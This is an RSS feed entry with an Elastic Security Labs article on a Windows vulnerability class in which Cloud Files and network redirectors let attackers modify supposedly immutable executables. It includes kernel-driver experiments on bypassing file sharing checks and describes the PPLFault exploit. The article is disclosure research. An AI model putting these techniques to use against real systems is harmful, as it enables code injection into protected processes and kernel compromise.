<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Gabriel Landau</title>
        <link>https://www.elastic.co/jp/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Wed, 13 May 2026 06:43:20 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Gabriel Landau</title>
            <url>https://www.elastic.co/jp/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/jp/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[The Immutable Illusion: Pwning Your Kernel with Cloud Files]]></title>
            <link>https://www.elastic.co/jp/security-labs/immutable-illusion</link>
            <guid>immutable-illusion</guid>
            <pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Threat actors can abuse a class of vulnerabilities to bypass security restrictions and break trust chains.]]></description>
            <content:encoded><![CDATA[<p>In 2024, we disclosed a new Windows vulnerability class, <a href="https://www.elastic.co/jp/security-labs/false-file-immutability">False File Immutability</a> (FFI), which previously demonstrated how <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/what-is-a-network-redirector-">network redirectors</a> could be leveraged to violate incorrect assumptions in the design of Windows Code Integrity, resulting in a pair of kernel exploits. These exploits relied on Windows network drives, adding complexity and creating a choke-point in the kill chain that allowed for easier detection and mitigation.</p>
<p>This research presents an advancement by introducing a more streamlined and self-contained method of exploitation. The novel approach leverages a built-in Windows capability to achieve the same file modification bypass, without the complexities of SMB setups. By analyzing how the kernel driver for this capability processes file data, we uncover a security bypass that enables an attacker to modify files that Windows incorrectly assumes are immutable, leading to a proof-of-concept kernel exploit.</p>
<p>Key Takeaways:</p>
<ul>
<li><strong>No Network Redirector Needed:</strong> Unlike prior exploits, the new exploitation method exploits False File Immutability without requiring the use of Windows file sharing.</li>
<li><strong>Built-in Capability Exploited:</strong> The exploit leverages a security bypass within a built-in Windows capability that handles cloud file synchronization.</li>
<li><strong>Immutability Violated:</strong> It enables modification of files that the Windows kernel and memory manager incorrectly assume are immutable, leading to a kernel exploit.</li>
<li><strong>Mitigation Bypassed:</strong> It enables attackers to bypass a mitigation that Microsoft created specifically for a prior FFI exploit.</li>
<li><strong>Forever-Day:</strong> Microsoft chose to only patch this exploit in some versions of Windows, so it remains functional on several fully-patched versions of Windows in <a href="https://learn.microsoft.com/en-us/lifecycle/policies/fixed#mainstream-support">Mainstream Support</a> as of February 2026.</li>
</ul>
<h2>False file immutability</h2>
<p><em>You may remember False File Immutability from <a href="https://www.elastic.co/jp/security-labs/false-file-immutability">our recent article</a> and <a href="https://www.youtube.com/watch?v=1LvOFU1u-eo">BlueHat IL 2024 talk</a>, but if not, then this section should help refresh your memory. If you’re already familiar, feel free to skip to the next section.</em></p>
<p>When an application opens a file on Windows, it typically uses some form of the Win32 <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew">CreateFile</a> API.</p>
<pre><code class="language-c">HANDLE CreateFileW(
  [in]           LPCWSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
</code></pre>
<p>Callers of <code>CreateFile</code> specify the access they want in <code>dwDesiredAccess</code>. For example, a caller would pass <code>FILE_READ_DATA</code> to be able to read data, or <code>FILE_WRITE_DATA</code> to be able to write data. The full set of access rights are <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants">documented</a> on the Microsoft Learn website.</p>
<p>In addition to passing <code>dwDesiredAccess</code>, callers must pass a “sharing mode” in <code>dwShareMode</code>, which consists of zero or more of <code>FILE_SHARE_READ</code>, <code>FILE_SHARE_WRITE</code>, and <code>FILE_SHARE_DELETE</code>. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes <code>FILE_SHARE_WRITE</code> allows others to write the file while they are working with it.</p>
<p>As a file is opened, the caller’s <code>dwDesiredAccess</code> is tested against the <code>dwShareMode</code> of all existing file handles. Simultaneously, the caller’s <code>dwShareMode</code> is tested against the previously-granted <code>dwDesiredAccess</code> of all existing handles to that file. If either of these tests fails, then CreateFile fails with a sharing violation.</p>
<p>Sharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/creating-and-opening-files">documentation</a>:</p>
<blockquote>
<p>An open file that is not shared (<code>dwShareMode</code> set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.</p>
</blockquote>
<p>Sharing is enforced by the filesystem, typically NTFS, but Windows supports other filesystems such as FAT32. Windows itself omits <code>FILE_SHARE_WRITE</code> when opening certain types of files, preventing modification while they are in use. Such unmodifiable files can be considered <a href="https://www.merriam-webster.com/dictionary/immutable"><strong>immutable</strong></a>.</p>
<p>In some situations, the memory manager relies on this immutability. If a page fault occurs within an immutable memory-mapped file, and that page hasn’t been modified, then the memory manager can read that page’s contents directly out of the original backing file. It needn’t save a second copy of the file’s contents to the <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/performance/introduction-to-the-page-file">pagefile</a> because immutability ensures that the file on disk cannot be changed. Executables running in memory, such as EXEs and DLLs, are immutable, so the memory manager can apply this optimization to them.</p>
<p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/what-is-a-network-redirector-">Network redirectors</a> allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily work with files and run programs off network drives. The kernel transparently redirects any I/O to the remote machine. If a program is launched from a network drive, any EXEs and its DLLs will be transparently pulled from the network as needed.</p>
<p>When a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running <a href="https://en.wikipedia.org/wiki/Samba_(software)">Samba</a>, or even a Python <a href="https://github.com/fortra/impacket/blob/d71f4662eaf12c006c2ea7f5ec09b418d9495806/examples/smbserver.py">Impacket script</a> that “speaks” the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB network protocol</a>. This means the server doesn’t have to honor Windows filesystem sharing semantics. An attacker can employ a network redirector to modify “immutable” files server-side, bypassing sharing restrictions. This means that these files are incorrectly assumed to be immutable. This is a vulnerability class that we are calling <strong>False File Immutability</strong> (FFI).</p>
<h2>Cloud files</h2>
<p>Imagine leaving the house to start your day, and there’s a package on your step. It’s that sweet Surface Book you ordered last week. Excited but short on time, you throw it into your bag and head to the gym. After working out to sick beats on your Zune, you head to the local Redmond coffee shop to meet up with a friend you met on Xbox Live. Unfortunately, they’re running late, so you crack open your brand new Surface Book and log into Windows, eager to set up Recall. Despite the mediocre coffee shop Wi-Fi, somehow your entire 1TB OneDrive immediately appears before you. There’s no way you could have downloaded 1TB that quickly, so there must be some witchcraft going on. That witchcraft is <a href="https://learn.microsoft.com/en-us/windows/win32/cfapi/cloud-files-api-portal">Cloud Files</a>.</p>
<p>Introduced in Windows 10 version 1709, Cloud Files enables user-mode applications like OneDrive to register as <a href="https://learn.microsoft.com/en-us/windows/win32/cfapi/build-a-cloud-file-sync-engine">Cloud Sync Providers</a> and create empty “placeholder” files on the system. Initially, these placeholders are dehydrated (empty). As you access them, the I/O is intercepted by the CloudFiles kernel driver (<code>cldflt.sys</code>), which calls into the provider’s process. The provider can then retrieve the file’s contents from the cloud. It doesn't need to download the entire file at once. If you only need 1MB, it can retrieve just that 1MB. As you request more of the file, it can continue to rehydrate (fill in) the file contents as needed.</p>
<p>When the driver needs to rehydrate a file, it invokes a <a href="https://learn.microsoft.com/en-us/windows/win32/api/cfapi/ns-cfapi-cf_callback_registration">rehydration callback</a> in the provider’s process (i.e. <code>OneDrive.exe</code>). That callback retrieves the file’s contents (potentially from the cloud) and calls <code>CfExecute</code> to give those contents to the driver, which the driver then writes to the file. CloudFiles will only request rehydration of file regions that aren’t currently hydrated, but it’s possible to <a href="https://learn.microsoft.com/en-us/previous-versions/mt827480(v=vs.85)">dehydrate</a> files to free up space on the current system.</p>
<h2>Exploit development</h2>
<p>By default, Windows allows for the sharing of files and folders over the network using the Server Message Block (SMB) protocol. If you’ve ever connected to a shared network drive on a corporate network, there’s a good chance that it used SMB. Windows includes both an SMB client and server by default. The client component provides a network redirector, as described above, enabling transparent SMB access to files via any API that accepts file paths. For example, you can run Process Monitor over the internet right now by running <code>\\live.sysinternals.com\Procmon.exe</code>.</p>
<p>We released the <a href="https://github.com/gabriellandau/PPLFault">PPLFault exploit</a> in May 2023 alongside our <a href="https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052">Black Hat Asia talk</a>. PPLFault leverages a network redirector to exploit FFI in DLLs loaded into Protected Process Light (PPL) processes. The initial prototype required a second attacker-controlled machine running a malicious SMB server. By disabling Windows’ built-in SMB server, we were able to move the malicious SMB server to the local machine, removing the requirement for a second machine (<a href="https://github.com/gabriellandau/PPLFault/tree/main/python">prototype</a>).</p>
<p>This was still messier than we would like, however, because at the time we <a href="https://www.x33fcon.com/slides/x33fcon24_-_Nick_Powers_-_Relay_Your_Heart_Away_An_OPSEC-Conscious_Approach_to_445_Takeover.pdf">incorrectly</a> believed that stopping the Windows built-in SMB server required a reboot. Fortunately, we discovered James Forshaw’s technique of <a href="https://googleprojectzero.blogspot.com/2021/01/windows-exploitation-tricks-trapping.html">combining the CloudFiles provider with the loopback (localhost) SMB adapter</a>, enabling us to create the final reboot-less exploit. Besides being streamlined, the CloudFiles/SMB pairing is distinct from the prior two exploit versions in that it uses the regular Windows SMB server, which should honor file sharing (i.e. <code>FILE_SHARE_*</code>) semantics. For example, while an SMB client has a file open on a server without <code>FILE_SHARE_WRITE</code>, the server shouldn’t allow another client to open that file for write access. Similarly, the server shouldn’t allow write access to any executables running locally on the server.</p>
<p>We seem to have a contradiction. If PPLFault has to abide by file sharing restrictions, then how is it injecting code into a running DLL?  Let’s see what <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a> can tell us. Running PPLFault under Process Monitor shows the following three operations (filtered for illustrative purposes). This analysis was done with <a href="https://www.virustotal.com/gui/file/69ae0580eacf97afc52d87e74118571d18cfd266d00a7d579d5419720c5713da">version 10.0.22621.2861</a> of <code>cldflt.sys</code> on Windows 11 22631.2861.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/immutable-illusion/image4.png" alt="" /></p>
<p>In order, the operations are:</p>
<ol>
<li>The victim process, <code>services.exe</code>, loads a DLL as an executable image.</li>
<li>After it’s loaded, <code>PPLFault.exe</code> open it.</li>
<li>After it’s opened, <code>PPLFault.exe</code> writes to it.</li>
</ol>
<p>There are a few key observations to make here:</p>
<p><strong>Violation of Immutability</strong><br />
We see a successful write operation to a file while it is loaded as an executable image. In our <a href="https://www.elastic.co/jp/security-labs/false-file-immutability">earlier FFI research</a>, we discussed the <code>MmFlushImageSection</code> check in the file system, which is designed to protect against this very situation. <em>How did it bypass this check?</em></p>
<p><strong>Violation of the File Access Model</strong><br />
We can see that PPLFault successfully overwrote the file. Microsoft documentation for WriteFile <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile">states</a> that the file should have been opened with write access, meaning <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants"><code>FILE_WRITE_DATA</code></a>, but the output shows it was opened for “Read Attributes, Write Attributes, Synchronize,” which is <code>FILE_READ_ATTRIBUTES</code>, <code>FILE_WRITE_ATTRIBUTES</code>, and <code>SYNCHRONIZE</code>. <em>Without <code>FILE_WRITE_DATA</code>, how did it overwrite this file?</em></p>
<p>Let’s try to answer these two questions in the next section.</p>
<blockquote>
<p>📘 Nerd Bonus -</p>
<p>Process Monitor installs a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts">filesystem minifilter driver</a> to intercept and log I/O activity on the system. Windows encapsulates I/O actions in structures called <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets">I/O Request Packets</a> (IRPs). Each minifilter is <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes">assigned</a> an “altitude,” which you can think of as floors in a building. Most IRPs start at the top floor and travel down the stack. If a minifilter issues its own I/O, that IRP starts at its altitude and travels downwards from there. In other words, a minifilter on the sixth floor will never see I/O from the fifth floor. Process Monitor’s minifilter driver runs at altitude <code>385200</code>. Normally, it will never see the activity of <code>cldflt.sys</code>, which runs at altitude <code>180451</code>. Fortunately, we can adjust Process Monitor’s altitude with the <a href="https://x.com/GabrielLandau/status/1651685087769948170">/altitude switch</a>, placing it below CloudFiles at altitude <code>180450</code>.</p>
</blockquote>
<h2>Rules for thee, but not for me</h2>
<p>As discussed, applications are subject to file sharing restrictions, but the kernel itself isn’t always restricted in the same way. For example, kernel drivers can use <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-iocreatefileex">IoCreateFileEx</a> to open or create files.</p>
<pre><code class="language-c">NTSTATUS IoCreateFileEx(
  [out]          PHANDLE                   FileHandle,
  [in]           ACCESS_MASK               DesiredAccess,
  [in]           POBJECT_ATTRIBUTES        ObjectAttributes,
  [out]          PIO_STATUS_BLOCK          IoStatusBlock,
  [in, optional] PLARGE_INTEGER            AllocationSize,
  [in]           ULONG                     FileAttributes,
  [in]           ULONG                     ShareAccess,
  [in]           ULONG                     Disposition,
  [in]           ULONG                     CreateOptions,
  [in, optional] PVOID                     EaBuffer,
  [in]           ULONG                     EaLength,
  [in]           CREATE_FILE_TYPE          CreateFileType,
  [in, optional] PVOID                     InternalParameters,
  [in]           ULONG                     Options,
  [in, optional] PIO_DRIVER_CREATE_CONTEXT DriverContext
);
</code></pre>
<p><code>IoCreateFileEx</code> looks very similar to the user-facing function <code>NtCreateFile</code>, but its documentation describes some important additional capabilities, including its <code>Options</code> parameter, which supports a flag:</p>
<blockquote>
<p>IO_IGNORE_SHARE_ACCESS_CHECK<br />
The I/O manager should not perform share-access checks on the file object after it is created. However, the file system might still perform these checks.</p>
</blockquote>
<p>Is it that simple?  Can a kernel driver use <code>IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK)</code> to open an in-use DLL for write access?  Let’s write a kernel driver to try it out. The code in this article is available as a Visual Studio project on GitHub <a href="https://github.com/gabriellandau/BlogExamples/tree/main/Redux/FileTestDriver">here</a>.</p>
<pre><code class="language-c">/*
* This experiment shows that a file opened without FILE_SHARE_WRITE 
* can't be modified unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentOne()
{
    DECLARE_CONST_UNICODE_STRING(filePath, L&quot;\\??\\C:\\TestFile.bin&quot;);

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES objAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;

    InitializeObjectAttributes(&amp;objAttr, (PUNICODE_STRING)&amp;filePath, 
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Create a file without FILE_SHARE_WRITE
    // This mimics ntdll!LdrpMapDllNtFileName
    ntStatus = ZwCreateFile(
        &amp;hFile,
        FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
        &amp;objAttr, &amp;iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        FILE_OPEN_IF,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, 
            &quot;ExperimentOne: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n&quot;, 
            &amp;filePath, ntStatus);
        goto Cleanup;
    }

    bReportResults = TRUE;

    // IoCreateFileEx without IO_IGNORE_SHARE_ACCESS_CHECK should not be able to open the file
    ntStatus = IoCreateFileEx(
        &amp;hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &amp;objAttr, &amp;iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        0,
        NULL);
    if (NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentOne: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly &quot;
            &quot;succeeded on a write-sharing-denied file\n&quot;);
        ntStatus = STATUS_UNSUCCESSFUL;
        goto Cleanup;
    }

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a 
    // write-sharing-denied file for write access?
    ntStatus = IoCreateFileEx(
        &amp;hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &amp;objAttr, &amp;iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);
    bSuccessful = NT_SUCCESS(ntStatus);

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentOne complete. &quot;
            &quot;IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a &quot;
            &quot;write-sharing-denied file for FILE_WRITE_DATA. &quot;
            &quot;Status: 0x%08x\n&quot;,
            bSuccessful ? &quot;CAN&quot; : &quot;CANNOT&quot;,
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hFile2);
}
</code></pre>
<p>Loading it in a VM with <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/test-signing">test signing</a> enabled yields the following output:</p>
<pre><code class="language-c">ExperimentOne complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a write-sharing-denied file for FILE_WRITE_DATA. Status: 0x00000000
</code></pre>
<p>Did we just come up with a plausible explanation for how PPLFault can modify “immutable” files?  Not quite. This experiment was a bit of an over-simplification, but it shows <code>IO_IGNORE_SHARE_ACCESS_CHECK</code> in action, proving that kernel APIs can provide more freedom than their user-mode counterparts.</p>
<p>In PPLFault, CloudFiles isn’t just modifying a file with write-sharing-denied handles. Rather, it’s modifying a DLL while it’s mapped in memory as an executable image. Let’s try another experiment that’s a little closer to the PPLFault scenario. In experiment two, we will emulate <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw"><code>LoadLibrary</code></a> by opening a DLL, creating a <code>SEC_IMAGE</code> section, and then mapping a view of that section into memory. Once the view is mapped, we will close the handles and test whether <code>IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK)</code> can get a writable handle.</p>
<p>Let’s start with a helper function that maps a PE as an image section, similar to <code>LoadLibrary</code>. We’ll do this in the kernel to keep the experiment in a single driver, but note that it’s functionally equivalent to <code>LoadLibrary</code> for our purposes.</p>
<pre><code class="language-c">// Emulate a portion of LoadLibrary
NTSTATUS MapFileAsImageSection(
    PCUNICODE_STRING pPath,
    HANDLE* phFile,
    HANDLE* phSection,
    PVOID* ppMappedBase
)
{
    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    PVOID pMappedBase = NULL;
    SIZE_T viewSize = 0;
    OBJECT_ATTRIBUTES objAttr{};
    IO_STATUS_BLOCK iosb{};

    InitializeObjectAttributes(&amp;objAttr, (PUNICODE_STRING)pPath,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // From ntdll!LdrpMapDllNtFileName
    // NtOpenFile(&amp;FileHandle, 0x100021u, &amp;ObjectAttributes, &amp;IoStatusBlock, 5u, 0x60u);
    ntStatus = ZwOpenFile(
        &amp;hFile,
        FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
        &amp;objAttr, &amp;iosb,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;MapFileAsImageSection: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n&quot;,
            pPath, ntStatus);
        goto Cleanup;
    }

    InitializeObjectAttributes(&amp;objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);

    // From ntdll!LdrpMapDllNtFileName
    // NtCreateSection(&amp;Handle, 0xDu, 0LL, 0LL, 0x10u, v18, FileHandle);
    ntStatus = ZwCreateSection(&amp;hSection,
        SECTION_QUERY | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
        &amp;objAttr, NULL, PAGE_EXECUTE, SEC_IMAGE, hFile
    );
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;MapFileAsImageSection: ZwCreateSection %wZ failed with NTSTATUS 0x%08x\n&quot;,
            pPath, ntStatus);
        goto Cleanup;
    }

    // From ntdll!LdrpMinimalMapModule
    // Map a view of this SEC_IMAGE section into lower half of the the System process address space
    ntStatus = ZwMapViewOfSection(
        hSection, ZwCurrentProcess(), &amp;pMappedBase, 0, 0, NULL,
        &amp;viewSize, ViewShare, 0, PAGE_EXECUTE_WRITECOPY);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;MapFileAsImageSection: ZwMapViewOfSection %wZ failed with NTSTATUS 0x%08x\n&quot;,
            pPath, ntStatus);
        goto Cleanup;
    }

    // Move ownership to output parameters and prevent cleanup
    *ppMappedBase = pMappedBase;
    pMappedBase = NULL;

    *phFile = hFile;
    hFile = NULL;

    *phSection = hSection;
    hSection = NULL;

Cleanup:
    HandleDelete(hFile);
    HandleDelete(hSection);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }

    return ntStatus;
}
</code></pre>
<p>Now let’s use that helper to map a DLL, then see if we can write to it with <code>IO_IGNORE_SHARE_ACCESS_CHECK</code>:</p>
<pre><code class="language-c">/*
* This experiment shows that a file opened without FILE_SHARE_WRITE can't be 
* modified even if IO_IGNORE_SHARE_ACCESS_CHECK is used because the file has 
* an associated active SEC_IMAGE section.
*/
VOID ExperimentTwo()
{
    DECLARE_CONST_UNICODE_STRING(filePath, L&quot;\\SystemRoot\\System32\\TestDll.dll&quot;);

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    OBJECT_ATTRIBUTES sectionObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;
    PFILE_OBJECT pFileObject = NULL;

    ntStatus = MapFileAsImageSection(
        &amp;filePath, &amp;hFile, &amp;hSection, &amp;pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n&quot;,
            &amp;filePath, ntStatus);
        goto Cleanup;
    }

    // MmFlushImageSection should return FALSE. This is what fails the FILE_WRITE_DATA request below.
    // MmFlushImageSection requires SECTION_OBJECT_POINTERS, which we can get from the FILE_OBJECT.
    ntStatus = ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, (PVOID*)&amp;pFileObject, NULL);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentThree: ObReferenceObjectByHandle %wZ failed with NTSTATUS 0x%08x\n&quot;,
            &amp;filePath, ntStatus);
        goto Cleanup;
    }

    if (MmFlushImageSection(pFileObject-&gt;SectionObjectPointer, MmFlushForWrite))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentThree: MmFlushImageSection unexpectedly succeeded %wZ\n&quot;,
            &amp;filePath);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, close the file and section handles to remove them from the equation
    // We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the MmFlushImageSection check here:
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    ReferenceDelete(pFileObject);
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&amp;fileObjAttr, (PUNICODE_STRING)&amp;filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &amp;hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &amp;fileObjAttr, &amp;iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);

    bSuccessful = NT_SUCCESS(ntStatus);
    bReportResults = TRUE;

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentTwo complete. &quot;
            &quot;IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a &quot;
            &quot;file backing a local SEC_IMAGE section for FILE_WRITE_DATA. &quot;
            &quot;Status: 0x%08x\n&quot;,
            bSuccessful ? &quot;CAN&quot; : &quot;CANNOT&quot;,
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    ReferenceDelete(pFileObject);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
}
</code></pre>
<p>Running this experiment yields the following output:</p>
<pre><code class="language-c">ExperimentTwo complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CANNOT open a file backing a local SEC_IMAGE section for FILE_WRITE_DATA. Status: 0xc0000043
</code></pre>
<p>In this case, <code>IoCreateFileEx</code> failed with <code>0xC0000043</code> (<code>STATUS_SHARING_VIOLATION</code>) because files mapped as executable images have additional protections to ensure they remain immutable, even without any open handles. You can see this check using the <code>MmFlushImageSection</code> API in the <a href="https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593">Microsoft FastFat sample driver code</a>, but it exists in other file systems as well, including NTFS:</p>
<pre><code class="language-c">//
//  If the user wants write access access to the file make sure there
//  is not a process mapping this file as an image.  [ ... ]
//
if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {

    [ ... ] 
    
    if (!MmFlushImageSection( &amp;Fcb-&gt;NonPaged-&gt;SectionObjectPointers,
                              MmFlushForWrite )) {

        Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
                                      STATUS_SHARING_VIOLATION;
        try_return( Iosb );
    }
}
</code></pre>
<p>The <code>IO_IGNORE_SHARE_ACCESS_CHECK</code> flag bypasses I/O manager checks, but not the <code>MmFlushImageSection</code> check in the filesystem. Re-reading the description of <code>IO_IGNORE_SHARE_ACCESS_CHECK</code>, it’s obvious in hindsight:</p>
<blockquote>
<p>IO_IGNORE_SHARE_ACCESS_CHECK<br />
The I/O manager should not perform share-access checks on the file object after it is created. <em>However, the file system might still perform these checks.</em></p>
</blockquote>
